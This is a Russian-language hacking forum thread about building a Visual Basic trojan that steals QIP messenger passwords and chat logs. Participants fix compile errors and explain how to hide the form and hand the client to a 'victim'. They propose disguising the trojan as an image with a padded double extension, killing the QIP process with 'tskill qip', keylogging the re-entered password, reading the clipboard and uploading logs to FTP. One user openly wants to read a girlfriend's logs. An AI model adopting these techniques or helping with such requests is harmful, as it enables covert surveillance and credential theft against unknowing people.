VB. Крадём пароль от QIP

karas, по поводу реестра Muxa1L говорит о том что многие qip засовывают в автозагрузку, а это полюбому отражаеться в реестре
Хотя насчет если ярлык запихнуть в папку "Автозагрузка" не уверен, но ее можно так же проверять

 

Как то не проффесионально ответили вы, сравнивать аутпост/k.i.s с брандмаурэом помоему не логично и глупо, что касается nod, разве у него есть сетевой экран?

 

щас будет тупоооой вопрос...когда вы пишите коды в этих рамках вы их разбиваете. Но, когда мы хотим склеить из них уже один файл, точнее свести в один длинный код, мы просто по порядку их копируем и оставляем в том порядке,в котором они и были, не дописывая ничего?

 

Вы можете их копировать по порядку ничего не изменяя, или скопировать сразу весь текст программы в самом нижнем листинге статьи.

 

Не получаеться !!! (((
Сделала как все написанно ( токо для угона логов )
И все равно при компилировании выдает ошибку .
В начале визуал ругался на .File1
method or data member not found
Потом я добавила filelistbox
Программа начала ругаться дальше на строчку InternetOpen
Sub or Function not defined.
Люди помогитее пожалуйста разобраться ((((
А лучше через аську пусть кто нить станет мои наставником )
Буду ощень благодарна )

 

Народ! А почему бы не юзать такую нишу: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\QIP2005
и т.д.

Если конечно он стоит в автозапуске?

Будет быстрее и эффективнее!

 

HackerOK, читать сообщения умеем? :cool_guy:
Это уже обсуждалось, только не много другими словами

 

Привет, я конечно откровенный ламак, но уж оч хоцца логи подруги почитать. Был бы признателен вам, люди, если бы помогли в этом.
Создал свой ftp на nm.ru, прописал в коде свои адреса и пароли. Вроде компилится, но ничего не происходит, комп не грузится, вроде не ищет ничего на харде. В форме после компиляции появл окно filelistbox'a, что выглядит палевно как-то, так и должно быть? Еще вопрос, если закрыть окно программы, то поиск перестает выполняться и пересылка на фтп тоже?
Карась, ты не мог бы написать еще как изменить код, чтобы он не весь диск сканил, а сразу из папки "c:\program files\qip\users\******\history" брал логи?
Заранее спсб

 

Эта трояшка не самая удачная моя идея, т.к. грузить машину, требует тонкой настройки и крадёт логи только у первого встретившегося её номера.
Чтоб форма не появлялась, в её свойствах поставь Visible в False, а лучше используй эту трояшку:
http://www.xaker.name/forvb/showthread.php?t=6801

Ибо она проще, работает быстро, ты можеш скачать всё што тебе необходимо без всяких FTP.
(скачай внизу той темы сорцы , пропиши в клиенте свой IP, скомпилируй, запусти у ся серв, а клиент дай жертве)

 

сорцы не компилируются. выдает ошибку
"run-time error 10057
socket is not connected"
в строке "Err.Raise Err.Number, "CSocket.SendData", Err.Description"
((

 

Правильно пропиши в клиенте свой IP, в сервере и клиенте поменяй port с 1009 на какой-либо другой, например 1155. Данная ошибка возникает, когда приложение пытается создать уже существующий порт или присоединиться к несуществующему.

 

2Karas. А если и у меня и у жертвы нет статического IP'а, то мы не сможем соединиться?

 

Неважно, статик Ip или динамик IP. Ес динамик, то клинет(трой) сможет подрубицо к те пока ты не смениш IP.... Поэтому при смене IP придёйа прописывать его заново в трое.

 

karas, если еще ведешь этот проект.

Идея по быстрому поиску папки qip'a.
Если qip запущен, а если впаривание программы, идет онлайн, то скорее всего так и есть. То...
Решение то простое)))
Ищешь среди процессов, процесс с именем "QIP.EXE" и по его ID вытаскиваешь путь запуска данного процесса

 

~|~евто|-|,
Отличная идея... думал над ней... время ток не было...
Была ещё одна идея: по ID процесса узнать адресаццию его в памяти, и прочесть тот адресс, где лежит пароль(как в Art Money), для эксперемента решил отыскать в процессе свой пароль, получилось вот только жаль што этот адрес не статический , каждый раз новый.
Сейчас реализую ещё одну идею, более действенную:
Даём жертве троя, под видом картинки (Image_0057.scr или Image_0057.jpg__куча пробелов__.exe ), жертва его запускает, радучецо, забывает о нём. Он через 15 минут отрубает процесс аси

Код:

shell( "tskill qip")

и 15 минут снифает клавиатуру. (жертва запускает асю, вводит пароль). через 15 минут отсылает файл - лог на FTP.

вобщем все API функции есть, как только что-либо сделаю, отпишусь

 

karas
Очень жду от тебя новых модификаций.Идея и в правду хорошая.

 

Если он у нее, не сохранен

По классу окна думаю будешь искать окно ввода паса? Или по Z-последовательности?)

 

Если имя активного окна "QIP - Спокойное общение!" то снифим клавиатуру, просто в таймере, первый такт записываем коды клавиш, второй такт - сравниваем с предыдущими кодами и делаем выводы какая кнопка была нажата/опущена.

 

Заголовок зависит от скина(или языка, точно не знаю, копатся лень) У меня например:


И еще идея, буфер обмена, во время перехвата клавиш, читать) Потому что паролиГ могут копировать) А не набирать)

 

или хук ставить на WM_KEYBOARD